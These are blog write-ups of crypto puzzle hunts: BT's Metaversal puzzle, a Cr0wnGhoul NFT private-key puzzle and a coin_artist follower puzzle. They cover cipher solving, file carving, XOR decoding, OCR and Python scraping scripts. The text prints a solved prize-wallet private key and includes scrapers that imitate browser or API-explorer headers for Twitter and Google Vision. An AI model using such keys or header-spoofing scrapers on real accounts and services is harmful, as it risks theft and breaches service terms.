We see the 0 at the beginning fits and we can also see that 13 21 and _3_1 at the end are possible fits. This gives us a possible order to use because it is 11 numbers and appears to line up. Sure enough, this happened to be the solution that we needed for the song order.

However, we can’t use the track order to solve until we figure out the modes.

After a little while, modes started to be dropped on BT's social media and discords. All the modes for Spiral Key can be found in these locations:

  1. https://twitter.com/BT/status/1443689260314468352
  2. https://cdn.discordapp.com/attachments/892831484963082310/893262944870223922/unknown.png (from instagram)
  3. https://cdn.discordapp.com/attachments/892831484963082310/893269756763865108/unknown.png (from facebook)
  4. https://twitter.com/BT/status/1443718245257711616
  5. https://cdn.discordapp.com/attachments/892831484963082310/893284783558393916/unknown.png (from instagram)
  6. https://twitter.com/BT/status/1443730884855836673
  7. https://cdn.discordapp.com/attachments/892831484963082310/893297953320628234/unknown.png (from instagram)
  8. https://cdn.discordapp.com/attachments/878067755612532766/893272632319938600/p.png
  9. https://cdn.discordapp.com/attachments/882443175875190846/893301166534975488/Sequence_2_Modes_9.png
  10. https://cdn.discordapp.com/attachments/882741721723711498/893301117109284905/Sequence_2_Modes_10.png
  11. https://cdn.discordapp.com/attachments/878139356450267146/893289586783047760/p.png

Modes:

  • VPUDRCMBMFF
  • WPUESANDNGD
  • WMSCTAOBLGE
  • UNSDSANBNGD
  • VNSDRCMDLEE
  • WMTCTAOBMFD
  • VNUDRBNCNEF
  • VPTESANBLGE
  • WNSCRANCMED
  • VPSDSCNBMEF
  • VNTCSBNDLFF

At the bottom of each picture we can read : “rotatedandUNSCRAMBLED”.

This means that originally each string is the word “UNSCRAMBLED” where each character has been rotated (caesar shift) by a different amount. Since this amount only varies between three values 0, 1 and 2, appending the different amounts for a single string gives the mode we need to use in the Metaversal Engine.

The final modes from bottom to top :

  • 12210200112
  • 22221012220
  • 21002020021
  • 00011010220
  • 10010202001
  • 21102020110
  • 10210111202
  • 12121010021
  • 20000011100
  • 12011210102
  • 10101112012

Using the fibonacci sequence solution and the unscrambled modes, we can complete the puzzle to get our Spiral Key!


Sequence 3: Root Key

Since Day 1, a hidden song 0 could be selected from the music player. This song played a message in morse followed by a series of notes. The morse could be decoded to say:

11 ROOTS ARE SEQUENCE 3
A SECRET LAY AT THE ROOT OF TREES

At the start of day 3, the following image of a tree was posted to the BT discord:

At the bottom of the image the roots are suspiciously separated into lines, 11 segments long.

Because of the length, we suspected these 11 lines related to the modes in the final sequence. Though we couldn't confirm this without the song order.

Slightly before the tree image was posted, a tweet went out:

The text suggests we need to do something related to music to solve the root key. It is also telling us 1 5 11, possibly the beginning of the song order for the root key. Even with this info, it was not until this hint that we started to figure out what we needed to do:

HINT: The second half of track zero holds the key. In fact, it holds several.

This led us to focusing on the notes at the end of track 0. Listening to it, we identify 11 piano keys at the end of the song. It seemed that we had to figure out some method to get 1 5 and 11 to correspond to the first 3 notes. Not long after making this realization, a hint was posted:

There are a few things to take from this, there are 11 notes. We can also see that the first notes have images associated with them correlating to songs 1 5 and 11. Later down, we can see that there is an image shown for 9. We knew if we could figure out how the notes correlated with each song, that we would have the song order we need for the root key.

Another important thing to note is that the only songs given were repeated notes. This gives more confidence that our guess is correct as it eliminates having to guess where to put songs on duplicate notes.

By identifying the key signature for each song, you can place them on top of the chart. There are a few ways to do this, there are online tools where you can upload songs and it will tell you what the key signature is. It is important to state that these tools are not always supremely accurate. For better results, frantically find someone who knows music that can figure it out for you.

The keys ended up being:

A A A Bb B GM Gm C D D E.

Giving us our final song order:

1 5 11 2 4 7 3 8 6 9 10

With the order, we now need to figure out the mode sequences. The 11 mode sequences were read from the roots starting from the circle with a horizontal line = night (1), a vertical line = day (0), and a diagonal line = lunar (2). This encoding method was confirmed through a series of hints (and finally a straight up key) released during the day.

Roots with directions three, give time of day at the base of the tree,
horizontal moves, vertical does not, the other gives you a double shot.
The roots of each song are sometimes the same,
but sequenced in order to finish the game

https://cdn.discordapp.com/attachments/888909859460878416/893682362167226368/The_Tree_Key_-_Discord_.png

The final mode sequences, from top to bottom, were:

  1. 11102121021
  2. 10120100110
  3. 11022201011
  4. 11102012100
  5. 00221022110
  6. 01100110201
  7. 00112010221
  8. 22111201010
  9. 12212012002
  10. 20101011122
  11. 21212100201

Treasure Puzzle

On day 3, a channel called #x-marks-the-spot on the discord opened along with the #root-key channel. The first messages in this channel were:

Which clued us in that we would need info from the previous days. Throughout the hunt, 8 words with the format of BT_WORD_BT were found at various steps. Here are the locations of each word:

BT_text_BT BT = Buried Treasure
1 BT_LIVING_BT Displays in the console when you click song 0.
2 BT_CURRY_BT Found in the [email protected]
3 BT_GANGS_BT Posted in #mirror-mirror-key
4 BT_AMENDING_BT https://www.youtube.com/watch?v=qLSNW8j5hXk
5 BT_MUGS_BT In the spiral email
6 BT_CLUTTERED_BT https://twitter.com/BT/status/1444016198191140865
7 BT_TIMER_BT At the bottom of TREE.png
8 BT_AUDIBLE_BT Posted in #x-marks-the-spot

A little later, an additional word BT_EMBEDDED_BT was posted in the discord.

Now, going back to the given image. There are 57 spaces in a spiral with one L already given. The number of spaces happens to match the number of letters in all of the BT words, so we naturally tried to find the correct order of words assuming that the letters in the box would give us an answer. The 10 numbers above the spiral are consecutive and non repeating and so suggest an ordering in which to read the boxed letters.

We also noticed that at the end of the image was a hidden password-protected zip file.

Reordering the boxes with the given L gave a 10 letter word with an L at the end. Through a stroke of lucky intuition, we guessed the word was METAVERSAL rearranged per the given string 7163940825 and quickly backsolved the ordering to be (reading inwards):

LIVINGGANGSMUGSEMBEDDEDTIMERCLUTTEREDAUDIBLEAMENDINGCURRY

The final unused element on the image is the text "What Three Words Will Guide You?". https://what3words.com/ is a site which assigns each location on the planet a series of 3 words. Splitting up our words into groups of 3 and searching on this site showed 3 places in the UK.

https://cdn.discordapp.com/attachments/891895158143066142/893712270847254568/Auric_Shape.png

A hint posted by BT said to overlay an "auric shape". What more fitting shape is there than the fibonacci spiral from day 2?

The location at the center of the spiral, and the password to the zip file, turned out to be:

billingeforest

Inside the zip file was a link to a youtube video.

This video shows exactly where the buried treasure was located in this forest which you can watch being dug up here


ND Puzzle

We noticed in the Neon District Discord that a new puzzle channel was created called “Laurel Canyon Puzzle”.

We knew from the beginning that the airdropped matic NFTs for BT added new functionality to Neon District. It allows you to play different versions of the Laurel song during combat as long as you hold the NFT in your wallet.

Going into the game and looking through the JavaScript, we discovered the three versions of the song:

The JS file:
https://portal.neondistrict.io/static/js/2.295b5cb7.chunk.js

The webpack JS location:

/src/data/soundEffects.js"bt-laurel-canyon-loop": {
"tag": "bt-laurel-canyon-loop",
"location": "general",
"type": "combat",
"placement": "loop",
"path": "music/bt/3._Laurel_Canyon_Night_Drive_Mastered.wav"
},
"bt-laurel-canyon-night-loop": {
"tag": "bt-laurel-canyon-night-loop",
"location": "general",
"type": "combat",
"placement": "loop",
"path": "music/bt/3._Laurel_Canyon_Night_Drive_Night_Mode.wav"
},
"bt-laurel-canyon-lunar-loop": {
"tag": "bt-laurel-canyon-lunar-loop",
"location": "general",
"type": "combat",
"placement": "loop",
"path": "music/bt/3._Laurel_Canyon_Night_Drive_Lunar_Mode_v2.wav"
}

This gives us the three file locations:

Day:
Night:
Lunar:
We tried several things at this point, such as:

  • Trying to diff the audio files from the originals
  • Looking for stego techniques such as Spectrograms
  • Looking through the wav file for hidden data

Opening up the file in our trusty 010 Hex Editor, we can see there is a zip file embedded at the end of the file data. The way you identify this is by understanding that most file formats begin with magic byte headers and some have footers. For example, a PNG image begins with %PNG (hex: 89 50 4E 47), but also ends with IEND®B`‚ (hex: 49 45 4E 44 AE 42 60 82). A common trick for hiding files inside of other files is to take the file data and shove it at the end of another file. A zip's magic bytes usually begins with PK, so we can see the PK after the IEND, thus we know we have a zip file hidden at the end of the PNG image.

This may sound extreme if you are unfamiliar with it, but there are easy ways to identify these. A good hex editor like 010 will identify data that does not belong in common file formats. There are also some tools such as binwalk that will identify and extract the files for you.

So we proceed to rip the zips out.

Going through each audio file, we can see there is a password encrypted zip at the end of each wav. Each zip file contains a “1”, “2”, or “3” file inside of them. Unfortunately, though, we need a password in order to proceed.

Looking back at the string posted in the Discord image, we still haven’t figured out what to do with that yet.

i621756155i

Eventually, motive posted a hint in the Discord channel:

This tells us that we need data from a previous puzzle in order to proceed.

If we were to consider that i = index, that would mean we need some strings to use. We have 9 numbers, so we are looking for a list of 9 things to index into. The end of the BT puzzle had 9 “Buried Treasure” (BT) strings.

Using the order from the W3W / Treasure Puzzle:

  • 0 LIVING
  • 1 CURRY
  • 2 GANGS
  • 3 AMENDING
  • 4 MUGS
  • 5 CLUTTERED
  • 6 TIMER
  • 7 AUDIBLE
  • 8 EMBEDDED

Then taking the nth position based on the index string:

  • 1 LIVIN G
  • 2 G A NGS
  • 3 M UGS
  • 4 EMBEDD E D
  • 5 TIME R
  • 6 CLUTT E RED
  • 7 A UDIBLE
  • 8 AMEN D ING
  • 9 CURR Y

We get the following string out: GAME READY

Sending it to the CERES bot, we get a response:

This is shorthand for an imgur link: https://imgur.com/a/GZZmnVl

Now we have three more strings, each one correlating to the day, night, and lunar. This matches up with our 3 zip files, suggesting that each string will be the password we need to extract the file inside of them.

In the previous puzzle, the i = index. Now we have an o, which given that we have a unique number for 1-9, we can assume that o = order.

Using the buried treasure words that we used in the previous step, we now permutate them into a string to create a password.

Zip passwords:

  • Day: CLUTTEREDCURRYAMENDINGGANGSTIMERAUDIBLEMUGSEMBEDDEDLIVING
  • Night: TIMERCLUTTEREDAUDIBLEMUGSAMENDINGLIVINGCURRYEMBEDDEDGANGS
  • Lunar: MUGSCLUTTEREDAMENDINGEMBEDDEDCURRYLIVINGTIMERAUDIBLEGANGS

Inside of each zip is a file containing random bin data prepended by the string :BT:

You can view the hex of each file here:
https://gist.github.com/ziot/a9c9de4f20de5bd3f47d8c77284562f6

After messing around with these files for a bit, we discovered a few things:

  • Each file is 2785 bytes of data.
  • If you remove the null bytes (00 00), each file is 2741 bytes of data
  • If you remove :BT: at the beginning of each file, each file is 2737 bytes of data.
  • Just from experience, we know we have 3 files of similar length with this sort of data suggests that the data has been XOR’d with another set of data.

The first discovery we made is that if you XOR the content of the first file with a semi-colon (:), you get the following data out:

If you have some technical experience, you’ll notice that the output begins with ivBORw0KGgo. You can derive a few things from this result:

  • The data we are going to get out is Base64 encoded.
  • This is a common type of Base64 encoded string, you’ll recognize that it is the magic bytes for a PNG image. So we know that we’re getting an image out of these 3 files.
  • There are characters in the response that are not valid Base64 characters, so we know that either our XOR is bad (incomplete) or there is junk we need to remove.

After being stuck here for awhile, we wrote a script to highlight all of the characters that were not valid Base64 characters, when we had a sudden realization:

The invalid characters are the BT logo!

Simultaneously, while manually fixing the XOR another realization was made. The XOR that gives us proper data was a string that we had already seen in a past puzzle. The first 4 lines could be properly fixed using this string:

If you remember from earlier in the puzzle, there is a text file that contains a string that looks similarly:

https://bpbf7ma4eabfgunhibippcyjcmyrstazgpp4kteypbm4j3fs75na.arweave.net/C8JfsBwgAlNRp0BQ94sJEzEZTBkz38VMmHhZxOyy_1o/[email protected]

Sure enough, the BT ascii logo is 2781 bytes which is a perfect match to the individual files we extracted from the zips. That means each file was likely XOR’d with this string.

Performing xor on the three files, combining them, and base64 decoding into a PNG file results in the following:

This is the private key for a wallet containing 3 ETH and a Blockade Games Degen Trophy.


Fin’

Overall, this was an incredible experience put together by BT and motive. Follow them on Twitter!!!

This was a fun mix of music, classic puzzling techniques, technical challenges, and real world geo-cache hunting!

Spend some time listening to the METAVERSAL album, you'll love it!

https://bpbf7ma4eabfgunhibippcyjcmyrstazgpp4kteypbm4j3fs75na.arweave.net/C8JfsBwgAlNRp0BQ94sJEzEZTBkz38VMmHhZxOyy_1o/

]]>
Cr0wnGhoul 1ETH Puzzle: You’ve Got Mail Write-up https://buer.haus/2021/05/13/cr0wnghoul-1eth-puzzle-youve-got-mail-write-up/ Fri, 14 May 2021 03:05:12 +0000 http://buer.haus/?p=1146

Solved by:

Cr0wn_Gh0ul launched a new puzzle with a 1 Eth and 800 Matic prize recently. This involved airdropping matic NFTs and contracts to many addresses, similar to the one million matic NFTs he airdropped recently. This puzzle involved navigating the contracts, finding the NFTs, extracting text from the NFT images, and using the text as a private key. I will explain the process that went into solving this puzzle.

The Airdrop

This started with the tweet above, although some of us had already noticed the mass minting that was going on with NFTs on the "Recent" list on OpenSea. Using the Matic explorer, I was able to view the address that was creating all of the contracts:

https://explorer-mainnet.maticvigil.com/address/0xeF435c7042965dFA4Cac6be36D1c3CCCDd329A8A/transactions

Due to the amount of NFTs being created, it appeared to be causing problems for OpenSea and much like the similar Cr0wn NFTs, they were blacklisted and no longer viewable on OpenSea. With the address, I would still be able to view the transactions and NFTs. Sadly, I didn't get any screenshots of OpenSea before the write-up, but I can show you what it looked like linking it in Discord:

The NFT

The NFT was comprised of a randomly generated name, text in a polar circle around the center, and two randomly picked colors.

Given the length of the hex string in the circle and also the amount of NFTs being generated, it was likely that one of the NFT hex strings was the private key to the puzzle wallet. Unfortunately, it seemed like a million of these NFTs were going to be created.

In order to tackle this, we would need to download every image related to the NFT and extract the strings off of them at scale.

The Explorer

Unfortunately, maticvigil.com matic explorer had a strict WAF in front of it and loading it with Python requests was going to be next to impossible for the amount of requests I needed to make. We were stuck with what to do next until mattm found out we could query it with the api.covalenthq.com API.

Getting the Contracts

First we would query the transactions from the address:
https://api.covalenthq.com/v1/137/address/0xeF435c7042965dFA4Cac6be36D1c3CCCDd329A8A/transactions_v2/?no-logs=true&page-number=1&page-size=5000&key=

Then we would get the transaction details:
https://api.covalenthq.com/v1/137/transaction_v2/{0}/?&key=

And finally we could fetch the token names from the transaction:
https://api.covalenthq.com/v1/137/tokens/{0}/nft_token_ids/?&key=

This was condensed down into the following Python script:

import requests, json, urllib.request
from multiprocessing import Pool

ckey = ""

def dedupe(lst):
    return list(dict.fromkeys(lst))

def getTransactions(url=""):
    if url == "":
        url = "https://api.covalenthq.com/v1/137/address/0xeF435c7042965dFA4Cac6be36D1c3CCCDd329A8A/transactions_v2/?no-logs=true&page-number=1&page-size=5000&key="
    r = requests.get(url)
    txArr = []
    data = json.loads(r.text)
    for tx in data["data"]["items"]:
        txArr.append(tx["tx_hash"])
    return txArr

def getCr0wn(name):
    url = "https://cr0wngh0ul.s3.us-east-2.amazonaws.com/{0}.json".format(name)
    r = requests.get(url)
    return json.loads(r.text)
    
def getSender(tx):
    url = "https://api.covalenthq.com/v1/137/transaction_v2/{0}/?&key=".format(tx)
    r = requests.get(url)
    return json.loads(r.text)["data"]["items"]
    
def getToken(address):
    url = "https://api.covalenthq.com/v1/137/tokens/{0}/nft_token_ids/?&key=".format(address)
    r = requests.get(url)
    return json.loads(r.text)["data"]
    
def getSenderAddress(tx):
    senders = getSender(tx)
    for sender in senders:
        events = sender["log_events"]
        for event in events:
            if event["sender_address"] != "0x0000000000000000000000000000000000001010":
                return event["sender_address"]

def getSenders(txArr):
    senders = []
    for tx in txArr:
        senderAddresses = getSenderAddress(tx)
        senders.append(senderAddresses)
    return dedupe(senders)
    
def getContracts(senders):
    contracts = []
    for sender in senders:
        tokenData = getToken(sender)
        for item in tokenData["data"]["items"]:
            if item["contract_name"] not in contracts:
                contracts.append(item["contract_name"])
    return dedupe(contracts)

def getContractName(tx):
    senderAddress = getSender(tx)[0]["log_events"][1]["sender_address"]
    token = getToken(senderAddress)
    name = token["items"][0]["contract_name"]
    return name

def getImg(name):
    url = "https://cr0wngh0ul.s3.us-east-2.amazonaws.com/{0}.png".format(name)
    print("Saving: {0}".format(name))
    urllib.request.urlretrieve(url, "images/{0}.png".format(name))

def poolRoutine(tx):
    try:
        name = getContractName(tx)
        getImg(name)
    except:
        print("Failed: {0}".format(tx))
        return

if __name__=='__main__':
    
    txArr = dedupe(getTransactions())

    print("Total tx: {0}".format(len(txArr)))
    
    pool = Pool(processes=10)
    pool.map(poolRoutine, txArr)

Although a metric ton of NFTs were made, they were not all unique. After running through this entire list, we were able to dump 2609 unique NFT images.

Getting the text out

When faced with text in an image, we have a few options:

  • Optical Character Recognition (OCR) - Programmatic way to extract text from images. Downsides: can be hard to train, images need to be clean and well formatted.
  • Mechanical Turk - Pay people to write the text out. Downsides: cost money, no guarantee for accuracy.
  • Type it yourself. Downsides: typing it yourself.

The clear winner is starting with OCR. The first issue we run into is that the text is circular and we will not be able to trivially train the characters. Before we can even consider going through OCR, we need to find a way to extract the text out into a straight line that is uniform across all 2609 images.

We have two options for this, that I know of:

  • Pick a starting x,y coordinate in the image and height, width to crop to pull each letter. For each of the 66 characters, we need to rotate the image to ensure that the characters are all concatenated with the same rotation.
  • Since all of the images are the same height, text is in the same position, and middle circle is always the same size, we can try to run it through a depolarization filter. This is a fairly standard filter that exists in a lot of image libraries such as ImageMagick, Photoshop, etc.

I don't want to dive too deep into the depolar because that was about an hour of effort that I did not document much. But here is an example of passing it through ImageMagick with depolar filter.

Command:

convert test3.png -virtual-pixel Black -set option:distort:scale 4 -distort DePolar -1 -roll +60+0 -virtual-pixel HorizontalTile -background Black -set option:distort:scale .25 polar.png

Unfortunately, this was a bit stretched and it was hard to determine where (or even how) to shift the text so it did not get cropped out. I decided to pursue a Python PIL approach with the rotations instead.

The first problem we face with Python PIL is figuring out where we start, given that the circular text is always started in different positions. So we attempt to extract at 244,40 with the height/width of 20,20 or 25,25.

Case A

Case B

As you can see, there was no guarantee of a good starting position. Rotating the images manually in Photoshop, it was determined that the following approach had to be taken:

Output 1:

  • Perform an initial rotation of 0
  • Rotate the image every 15.45 degrees for each character

Output 2:

  • Perform an initial rotation of 25
  • Rotate the image every 5.45 degrees for each character

This was unfortunate because now we have doubled our image data, but it was the only way we could find a way forward quickly. This resulted in an image that looked like the following:

Now that we had letters extracting out, we can concatenate them together:

This is a good start, but when you try to use OCR to extract text from images, you will learn quickly that the best results is to contrast the image as much as possible and reduce it to two colors if possible.

Originally I tried to detect the background image color then replace any color not the background into white. This did not work well because of anti-aliasing. Then I tried to use PIL's filter grayscaling and autocontrast. This had decent results, but due to the random colors being selected, some images were still somewhat gray on gray which would not work well.

xEHLE came up with the idea of using numpy:

  • Delete two color channels
  • Threshhold cutoff for if a pixel should be white or black
  • Invert if bg is white

This had a perfect result where all images would come out looking like this:

Here is what the final script looked like:

import pytesseract

from multiprocessing import Pool

from PIL import Image, ImageEnhance, ImageFilter, ImageOps
from os import listdir
from os.path import isfile, join

import numpy as np

pytesseract.pytesseract.tesseract_cmd = 'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'

def getCropPositions(position):

    cropSizeHeight = 15
    cropSizeWidth = 20
    cropPosStartX = 250
    cropPosStartY = 45
    
    cropPosEndX = cropPosStartX+cropSizeWidth
    cropPosEndY = cropPosStartY+cropSizeHeight
    
    return {
        "startX": cropPosStartX,
        "startY": cropPosStartY,
        "endX": cropPosEndX,
        "endY": cropPosEndY
    }

def recolor(img2):
    bgColor = getBgColor(img2)
    rgb_im = img2.convert('RGB')
    pixels = rgb_im.load()
    for i in range(img2.size[0]):
        for j in range(img2.size[1]):
            r,g,b = pixels[i,j]
            r2,g2,b2 = bgColor
            if r != r2 and g != g2 and b != b2:
                pixels[i,j] = (0,0,0)
    return rgb_im

def getBgColor(img):
    rgb_im = img.convert('RGB')
    r, g, b = rgb_im.getpixel((1, 1))
    return(r,g,b)

def getOCRText(file):
    text = pytesseract.image_to_string(
        Image.open(file),
        lang="English",
        config="--psm 4 --oem 3 -c tessedit_char_whitelist=0123456789ABCDEFX"
    )
    return text

def getLetter(image, position, type=1):

    cropPositions = getCropPositions(position)

    img = Image.open("images/{0}".format(image))
    
    #img = recolor(img)
    
    if type == 1:
        baseRot = 0
        posRot = 15.45
    else:
        baseRot = 25
        posRot = 5.45

    img = img.rotate((baseRot+(5.45*position)), resample=Image.BICUBIC)
   
    
    img = img.crop((
        cropPositions["startX"],
        cropPositions["startY"],
        cropPositions["endX"],
        cropPositions["endY"]
    ))

    width, height = img.size
    img = img.resize((width*5, height*5), resample=Image.BICUBIC)
    img_arr = np.array(img, np.uint8)
    img_arr[::, ::, 0] = 0
    img_arr[::, ::, 2] = 100
    img = Image.fromarray(img_arr)
    
    thresh = 85
    fn = lambda x : 255 if x > thresh else 0
    img = img.convert('L').point(fn, mode='1')
    
    if img.getpixel((1, 1)) == 0xff:
        img = img.convert('L')
        img = ImageOps.invert(img)
    
    return img

def get_concat_h(im1, im2):
    dst = Image.new('RGB', (im1.width + im2.width, im1.height))
    dst.paste(im1, (0, 0))
    dst.paste(im2, (im1.width, 0))
    return dst


def makeStringImg(fileName, type=1):
    stringDir = "./strings"
    test = Image.new('RGB', (20, 20*5), (0, 0, 0))
    for x in range(0,66):
        newImg = getLetter(fileName, x, type)
        if x == 0:
            newImg = get_concat_h(test, newImg)
        else:
            newImg = get_concat_h(oldImg, newImg)
        oldImg = newImg
    newImg = get_concat_h(oldImg, test)
    newImg.save('{0}/{1}-{2}'.format(stringDir, type, fileName))

def getImages(mypath="./images/"):
    images = [f for f in listdir(mypath) if isfile(join(mypath, f))]
    return images

def getOCRImages(mypath="./strings/"):
    images = [f for f in listdir(mypath) if isfile(join(mypath, f))]
    for image in images:
        text = pytesseract.image_to_string(
            Image.open('{0}/{1}'.format(mypath, image)),
            lang="English",
            config="--psm 4 --oem 3 -c tessedit_char_whitelist=0123456789ABCDEFX"
        )
        print("Test: ", text)
        exit()

def makeStrings(image):
    try:
        makeStringImg(image, 1)
        makeStringImg(image, 2)
        print('{0} finished'.format(image))
    except:
        print('{0} failed'.format(image))

def testStrings():
    makeStringImg("0bl1ged_gray_jackal_57evena.png", 1)
    makeStringImg("0bl1ged_gray_jackal_57evena.png", 2)
    makeStringImg("0bed1en7.png", 1)
    makeStringImg("0bed1en7.png", 2)

# getImages()
# makeStringImg("0range_red_7aran7ula_Darby.png", 1)
# makeStringImg("0range_red_7aran7ula_Darby.png", 2)

if __name__=='__main__':
    
    images = getImages()
    
    pool = Pool(processes=10)
    pool.map(makeStrings, images)

The resulting images were good enough to start extracting text with an OCR library, but not without its own problems!

Reading the text

How do you get text out of an image? There is a ton of research and tools that exist for OCR nowadays. These libraries are easy to install and can be imported easily as libraries into most programming languages. There are also toolkits that exist to help you train images into character sets.

I started with the following:

  • Tesseract/pyTesseract
  • jTessBoxEditor

jTessBoxEditor is a Java applet that lets you create box images from fonts or images. This is really useful if you know the font you are working with. In this case, it was either Georgia or Helvetica. I did not have any luck using either of these, so I tried to create my own box. It looks like this:

I must have spent four hours on this with no luck. I don't know if I was using it wrong or what was going on, but I was getting no results out of this. I eventually decided to pivot over to Google Cloud's Vision OCR.

The initial results were good! We were getting extracts out, but some of the characters were unicode from European character sets. It was not until we discovered that you could specify a specific charset language did we get clean strings out. This was really interesting to explore, but there is not much to really show other than the Python script:

import requests, json, base64, io
import binascii

from multiprocessing import Pool

from os import listdir
from os.path import isfile, join

def getExtract(imageData):
    url = "https://content-vision.googleapis.com/v1/images:annotate?alt=json&key="
    r = requests.post(url, headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "X-Clientdetails": "",
        "Authorization": "",
        "Content-Type": "application/json",
        "X-Requested-With": "XMLHttpRequest",
        "X-Javascript-User-Agent": "apix/3.0.0 google-api-javascript-client/1.1.0",
        "X-Origin": "https://explorer.apis.google.com",
        "X-Referer": "https://explorer.apis.google.com",
        "X-Goog-Encode-Response-If-Executable": "base64",
        "Origin": "https://content-vision.googleapis.com",
        "Referer": "",
        "Te": "trailers",
        "Connection": "close"
    }, json = {
        "requests": [{
            "features": [{
                "type": "TEXT_DETECTION"
            }],
            "image": {
                "content": imageData
            },
            "imageContext": {
                "languageHints": [
                    "en"
                ]
            }
        }]
    })
    # json = {"requests":[{"features":[{"type":"TEXT_DETECTION"}],"image":{"source":{"imageUri":str(imageUrl)}}}]}
    return cleanText(json.loads(r.text)["responses"][0]["fullTextAnnotation"]["text"])
    

def cleanText(text):
    # lower
    text = text.lower()
    # replacements
    replacements = [
        [" ", ""],
        ["\n", ""],
        ["o", "0"],
        ["в","b"],
        ["с","c"],
        ["з","3"],
        ["o","0"],
        ["о","0"],
        ["х","x"]
    ]
    for replacement in replacements:
        text = text.replace(replacement[0], replacement[1])
    # shift
    textStart = text.find("0x")
    before = text[:textStart]
    after = text[len(before):]
    text = after+before
    # ensure no extra newline was added
    text = text.replace("\n", "")
    return text

def getImages(mypath="./strings/"):
    images = [f for f in listdir(mypath) if isfile(join(mypath, f))]
    return images

def getImageContent(file, path="./strings"):
    path = "{0}/{1}".format(path,file)
    with io.open(path, 'rb') as image_file:
        content = image_file.read()
    return base64.b64encode(content).decode('UTF-8')

def poolRoutine(image):
    try:
        imageData = getImageContent(image)
        extract = getExtract(imageData)
        extract = extract.encode('utf-8')
        print("{0} success: {1}".format(image,extract))
    except Exception as e:
        print("{0} failed: {1}".format(image,e))

images = getImages()

for image in images:
    poolRoutine(image)

From this I was able to get 5198 results out, even though we knew that at least half of them were going to have garbage outputs due to the faulty start rotations. You can view the full list of extracts here:

And finally, since we assume that these are private keys for the prize wallet, we use the web3 library to go through and see if any of these private keys are a hit against the prize wallet address: 0xeF435c7042965dFA4Cac6be36D1c3CCCDd329A8A

import web3

def tryPkey(pkey):
    account = web3.eth.Account.privateKeyToAccount(pkey)
    if account.address.lower() == "0xeF435c7042965dFA4Cac6be36D1c3CCCDd329A8A".lower():
        print("Found: {0}".format(pkey))

pkeys = []

for pkey in pkeys:
    try:
        tryPkey(pkey)
    except:
        continue

Running this script ....

puzzle@li158-114:/home/puzzles/cr0wn# python3 wallet.py
Found: 0xc3fb42759e4f802a75fb76bbcccd54b9d9751bb30709f7cbe95a21f0339058d1

Boom! The private key was found for the puzzle prize wallet. This turned out to be the following image:

5pare_c0ffee_cephal0p0d.png

The extract:

Overall this was another fun puzzle from cr0wn that was not without some insane frustrations and hurdles to overcome. This is one of my favorite aspects of a cr0wn puzzle, there is always something new for me to learn and they tend to be a blend of traditional security CTF puzzles and also what we see from the crypto puzzle scene.

Give @cr0wn_gh0ul a follow and make sure to check out his future puzzle drops.

]]>
coin_artist 50k Follower Puzzle – Write-up https://buer.haus/2021/05/05/coin_artist-50k-follower-puzzle-write-up/ Wed, 05 May 2021 16:52:33 +0000 http://buer.haus/?p=1123

The infamous crypto puzzle artist coin_artist just launched a new NFT airdrop for hitting 50,000 followers on Twitter. As with all coin_artist related announcements and products, we immediately dusted off the magnifying glass and started to seek for a puzzle. We quickly saw that she tweeted #1347 which is her bat signal that there is a puzzle to be found. It did not take long for us to find the trailhead!

Solvers:

The NFT Tweet:

NFT

The NFT drop is part of a collection called Coin Artist 50K collection on OpenSea. The description for the NFT has a link to a mosaic image (mosaically.com) that you can scroll to view all of the 50k followers.

If you scroll down the page, there is an option for showing Mosaic stats. The interesting thing we noticed is the details show 50,001 total images in the mosaic. Knowing this is only supposed to be 50K we needed to find the extra image.

When you click on an image in the mosaic, you can see that it is Twitter follower id followed by their Twitter screen name. With that, we knew we could search for "50001" and find the extra profile.

In the image we discovered an Ethereum address and the image name that is hex encoded. The image name “5072697a6557616c6c6574” when decoded is “PrizeWallet” so we know this address is the prize and there is a puzzle hidden inside the mosaic.

Wallet: 0x8baDc6F8ECFDD9736C5bA197CC0d820cF22E79B2

If you go to the location of the image, there is another image nearby that appeared to be a Neon District character with some text included.

What is interesting about these Neon District character images, the Twitter user associated with them contained a default Twitter profile image on twitter.com. We know that this change had to be a manual replacement by the creators so we needed to find additional images similar to this one. We also figured that they would not want to replace legitimate avatars because people wanted to be seen, so we decided to chase down the avatars.

There was a two prong approach to solving this.

The first approach was to have one person manually scroll through and look for images.

Any programmatic approach we took, we needed to make sure that we had some manual effort in case they failed.

The second approach was to pull the first 50k Twitter followers on the coin_artist twitter account. Pull the 50k images from the mosaic. Pull the avatar images from both and check to see if they were the default Twitter avatar images or not. If there was a default avatar image and a mismatch between the two, there is a good chance it is a puzzle related image.

We put together this script to pull the Twitter followers using the Twitter GraphQL API:

https://gist.github.com/ziot/54333c0ddbdc3cf834da8f13af80b50f

import requests, json

def getFollowers(cursor, count):
    variables = '{"userId":"2319408132","count":5000,"cursor":"'+cursor+'|'+count+'","withHighlightedLabel":false,"withTweetQuoteCount":false,"includePromotedContent":false,"withTweetResult":false,"withUserResults":false,"withNonLegacyCard":true,"withBirdwatchPivots":false}'
    url = "https://twitter.com/i/api/graphql/GFLX4V1lUMJo8xxmRPXqUQ/Followers?variables={}".format(variables)
    headers = {
        "Cookie": "",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/json",
        "X-Twitter-Auth-Type": "OAuth2Session",
        "X-Twitter-Client-Language": "en",
        "X-Twitter-Active-User": "yes",
        "X-Csrf-Token": "",
        "Authorization": "",
        "Referer": "https://twitter.com/coin_artist/followers"
    }
    r = requests.get(url, headers=headers)
    data = json.loads(r.text)
    
    try:
    
        for instructions in data["data"]["user"]["followers_timeline"]["timeline"]["instructions"]:
            if instructions["type"] == "TimelineAddEntries":

                for user in instructions["entries"]:
                    if user["content"]["entryType"] == "TimelineTimelineCursor":

                        # if user["content"]["cursorType"] == "Top":
                        if user["content"]["cursorType"] == "Bottom":
                            nextData = user["content"]["value"].split("|")
                            cursor = nextData[0]
                            count = nextData[1]
                    else:
                        try:
                            name = user["content"]["itemContent"]["user"]["legacy"]["name"]
                            screen = user["content"]["itemContent"]["user"]["legacy"]["screen_name"]
                            print(screen.encode("utf-8"))
                        except:
